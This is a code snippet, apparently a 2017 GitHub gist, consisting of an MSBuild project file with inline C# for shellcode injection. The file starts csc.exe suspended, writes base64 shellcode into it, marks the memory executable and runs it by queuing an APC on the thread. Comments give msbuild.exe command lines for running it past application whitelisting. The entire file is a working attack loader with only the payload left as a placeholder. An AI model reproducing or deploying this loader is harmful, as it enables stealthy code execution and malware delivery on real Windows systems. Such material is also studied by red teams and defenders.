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@vector-sec
Created August 30, 2017 13:11
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MSBuild => CSC.exe Shellcode Inject using QueueUserAPC
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<-- x86 -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj -->
<!- x64 -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Using Namespace="System" />
<Using Namespace="System.Reflection" />
<Using Namespace="System.Diagnostics" />
<Using Namespace="System.Runtime.InteropServices" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Reflection;
using Microsoft.CSharp;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
Program.Main();
return true;
}
}
public class Program
{
public static void Main()
{
string strShellCode = "[INSERT BASE64 SHELLCODE HERE]";
byte[] shellcode = System.Convert.FromBase64String(strShellCode);
string processpath = @"C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe";
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool success = CreateProcess(processpath, null,
IntPtr.Zero, IntPtr.Zero, false,
ProcessCreationFlags.CREATE_SUSPENDED,
IntPtr.Zero, null, ref si, out pi);
IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE);
IntPtr bytesWritten = IntPtr.Zero;
bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten);
Process targetProc = Process.GetProcessById((int)pi.dwProcessId);
ProcessThreadCollection currentThreads = targetProc.Threads;
IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, currentThreads[0].Id);
uint oldProtect = 0;
resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect);
IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);
IntPtr ThreadHandle = pi.hThread;
ResumeThread(ThreadHandle);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-)
private static UInt32 PAGE_READWRITE = 0x04;
private static UInt32 PAGE_EXECUTE_READ = 0x20;
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
[Flags]
public enum ProcessCreationFlags : uint
{
ZERO_FLAG = 0x00000000,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
CREATE_NEW_CONSOLE = 0x00000010,
CREATE_NEW_PROCESS_GROUP = 0x00000200,
CREATE_NO_WINDOW = 0x08000000,
CREATE_PROTECTED_PROCESS = 0x00040000,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
CREATE_SEPARATE_WOW_VDM = 0x00001000,
CREATE_SHARED_WOW_VDM = 0x00001000,
CREATE_SUSPENDED = 0x00000004,
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
DEBUG_PROCESS = 0x00000001,
DETACHED_PROCESS = 0x00000008,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
INHERIT_PARENT_AFFINITY = 0x00010000
}
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[Flags]
public enum ThreadAccess : int
{
TERMINATE = (0x0001) ,
SUSPEND_RESUME = (0x0002) ,
GET_CONTEXT = (0x0008) ,
SET_CONTEXT = (0x0010) ,
SET_INFORMATION = (0x0020) ,
QUERY_INFORMATION = (0x0040) ,
SET_THREAD_TOKEN = (0x0080) ,
IMPERSONATE = (0x0100) ,
DIRECT_IMPERSONATION = (0x0200)
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
int dwThreadId);
[DllImport("kernel32.dll",SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
Int32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError = true )]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
ProcessAccessFlags processAccess,
bool bInheritHandle,
int processId
);
[DllImport("kernel32.dll")]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,
string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern uint SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
int dwSize, uint flNewProtect, out uint lpflOldProtect);
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
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